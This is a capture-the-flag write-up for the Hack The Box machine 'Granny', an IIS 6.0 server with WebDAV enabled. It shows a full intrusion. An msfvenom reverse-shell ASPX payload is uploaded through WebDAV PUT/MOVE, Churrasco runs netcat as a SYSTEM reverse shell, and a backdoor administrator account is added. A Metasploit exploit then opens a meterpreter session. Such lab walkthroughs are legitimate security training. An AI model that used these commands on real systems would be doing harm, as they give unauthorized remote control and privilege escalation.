

Granny-HTB

Enumeration

- We use nmap for enumeration `sudo nmap -p- -A -T4 -O 10.10.10.15` which gives

```
l-$ sudo nmap -p- -A -T4 -O 10.10.10.15
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 09:45 EST
Nmap scan report for 10.10.10.15
Host is up (0.043s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http      Microsoft IIS httpd 6.0
|_ http-webdav-scan:
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPPATCH, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|_ Server Date: Wed, 31 Jan 2024 14:48:30 GMT
|_ http-title: Under Construction
|_ http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPPATCH PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_ http-server-header: Microsoft-IIS/6.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_2000::sp4
Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (90%), Microsoft Windows Server 2008 Enterprise SP2 (90%), Microsoft Windows Server 2003 SP2 (89%), Microsoft Windows 2003 SP2 (88%), Microsoft Windows XP SP3 (88%), Microsoft Windows 2000 SP4 or Windows XP Professional SP1 (88%), Microsoft Windows XP (85%), Microsoft Windows Server 2003 SP1 - SP2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 43.66 ms 10.10.14.1
2 43.74 ms 10.10.10.15

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.17 seconds
```

- We find that a website is hosted:



Under Construction

The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured.

Please try this site again later. If you still experience the problem, try contacting the Web site administrator.

If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help.

To access IIS Help

1. Click **Start**, and then click **Run**.
2. In the **Open** text box, type **inetmgr**. IIS Manager appears.
3. From the **Help** menu, click **Help Topics**.
4. Click **Internet Information Services**.

- We used dirbuster and found some hidden directories but they are empty

File Options About Help				
http://10.10.10.15:80/				
Scan Information Results - List View: Dirs: 4 Files: 90 Results - Tree View Errors: 0				
Type	Found	Response	Size	
Dir	/	200	1766	
Dir	/images/	200	431	
Dir	/Images/	200	431	
Dir	/IMAGES/	200	431	
Dir	/_private/	200	435	
File	/%7Emike.aspx	500	3272	
File	/images/%7Emike.aspx	500	3272	
File	/Images/%7Emike.aspx	500	3272	

Exploitation

Non-metasploit

- We find that certain risky requests are permitted using davtest

```

└─$ davtest --url http://10.10.10.15
*****
Testing DAV connection
OPEN          SUCCEED:          http://10.10.10.15
*****
NOTE Random string for this session: 6SMar8C25VPwr
*****
Creating directory
MKCOL         SUCCEED:          Created http://10.10.10.15/DavTestDir_6SMar8C25VPwr
*****
Sending test files
PUT  html     SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.html
PUT  jhtml    SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.jhtml
PUT  cgi      FAIL
PUT  aspx     FAIL
PUT  txt      SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.txt
PUT  cfm      SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.cfm
PUT  pl       SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.pl
PUT  jsp      SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.jsp
PUT  php      SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.php
PUT  asp      FAIL
PUT  shtml    FAIL
*****
Checking for test file execution
EXEC  html     SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.html
EXEC  html     FAIL
EXEC  jhtml    FAIL
EXEC  txt      SUCCEED:          http://10.10.10.15/DavTestDir_6SMar8C25VPwr/davtest_6SMar8C25VPwr.txt
EXEC  txt      FAIL
EXEC  cfm      FAIL
EXEC  pl       FAIL
EXEC  jsp      FAIL
EXEC  php      FAIL

```

- Only text and html files are executable so we generate our payload to .aspx format and rename it to .txt using `msfvenom -p windows/shell_reverse_tcp`

`LHOST=10.10.14.25 LPORT=1234 -f aspx >reverse.aspx` and `mv reverse.aspx reverse.txt`

```

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.25 LPORT=1234 -f aspx >reverse.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of aspx file: 2738 bytes

(kali@kali)-[~/Downloads/Granny/Exploits]
└─$ mv reverse.aspx reverse.txt

```

- Then we use cadaver to start a dav session using `cadaver 10.10.10.15` and use a put request to upload our reverse.txt file then rename it to reverse.aspx using

move

```
└─$ cadaver 10.10.10.15
dav:/> put reverse.txt
Uploading reverse.txt to `/reverse.txt':
Progress: [=====>] 100.0% of 2738 bytes succeeded.
dav:/> move reverse.txt reverse.aspx
Moving `/reverse.txt' to `/reverse.aspx': succeeded.
Terminated by signal 2.
Connection to `10.10.10.15' closed.
```

- we visit `html://10.10.10.15/reverse.aspx` with netcat listening where we get a shell

```
└─(kali㉿kali)-[~/Downloads/Granny/Exploits]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.15] 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>http://10.10.10.15/http://10.10.10.15/
```

- We used the churrasco exploit from <https://github.com/Re4son/Churrasco> and nc.exe file by uploading in the same manner and executing `churrasco.exe -d "C:\Inetpub\wwwroot\nc.exe 10.10.14.25 4444 -e cmd.exe"` and listening on netcat using `nc -nlvp 4444`

```
C:\Inetpub\wwwroot>churrasco.exe -d "C:\Inetpub\wwwroot\nc.exe 10.10.14.25 4444 -e cmd.exe"
churrasco.exe -d "C:\Inetpub\wwwroot\nc.exe 10.10.14.25 4444 -e cmd.exe"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 668
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 672
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 676
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 684
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x730
/churrasco/-->Getting SYSTEM token from Rpcss Service...
/churrasco/-->Found NETWORK SERVICE Token
/churrasco/-->Found LOCAL SERVICE Token
/churrasco/-->Found SYSTEM token 0x728
/churrasco/-->Running command with SYSTEM Token...
/churrasco/-->Done, command should have ran as SYSTEM!
```

- can also run `churrasco.exe -d "net user hacker hacker /add && net localgroup Administrators hacker /add"`

```

(kali㉿kali)-[~/Downloads/Granny]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.15] 1039
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
whoami
nt authority\system

C:\WINDOWS\TEMP>

```

- We get a root shell:

Metasploit

- start metasploit and search for IIS exploits, find one and execute to get a meterpreter shell:

```

msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhosts 10.10.10.14
rhosts => 10.10.10.14
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 10.10.14.25:5555
[*] Trying path length 3 to 60 ...
[*] Sending stage (175686 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.25:5555 => 10.10.10.14:1030) at 2024-02-01 08:55:32 -0500

ls
10.10.10.14

meterpreter > ls
Listing: c:\windows\system32\inetmgr
=====

```

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	58880	fil	2007-02-18 07:00:00 -0500	ADROT.dll
040777/rwxrwxrwx	0	dir	2017-04-12 10:17:13 -0400	ASP Compiled Templates
100666/rw-rw-rw-	102400	fil	2007-02-18 07:00:00 -0500	CertMap.ocx
100666/rw-rw-rw-	297984	fil	2007-02-18 07:00:00 -0500	CertWiz.ocx
100666/rw-rw-rw-	77824	fil	2007-02-18 07:00:00 -0500	Cnfgprts.ocx
100666/rw-rw-rw-	33792	fil	2007-02-18 07:00:00 -0500	ContRot.dll

- using ps to list processes:

```
meterpreter > ps
```

Process List

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System				
272	4	smss.exe				
320	272	csrss.exe				
344	272	winlogon.exe				
392	344	services.exe				
404	344	lsass.exe				
584	392	svchost.exe				
668	392	svchost.exe				
732	392	svchost.exe				
772	392	svchost.exe				
788	392	svchost.exe				
924	392	spoolsv.exe				
952	392	msdtc.exe				
1064	392	cisvc.exe				
1112	392	svchost.exe				
1168	392	inetinfo.exe				
1204	392	svchost.exe				
1308	392	VGAuthService.exe				
1380	392	vmtoolsd.exe				
1480	392	svchost.exe				
1596	392	svchost.exe				
1768	392	dllhost.exe				
1936	392	alg.exe				
1964	584	wmiprvse.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\wbem\wmiprvse.exe
2256	584	wmiprvse.exe				
2780	1480	w3wp.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	c:\windows\system32\inetsrv\w3wp.exe
2852	584	davcddata.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\inetsrv\davcddata.exe
2900	2780	rundll32.exe	x86	0		C:\WINDOWS\system32\rundll32.exe
3192	788	wmiadap.exe				

- We migrate to process 1964 for accessing the user
- We use exploit_suggester and exploit and get a shell. As all this is pretty self explanatory we wont go into detail.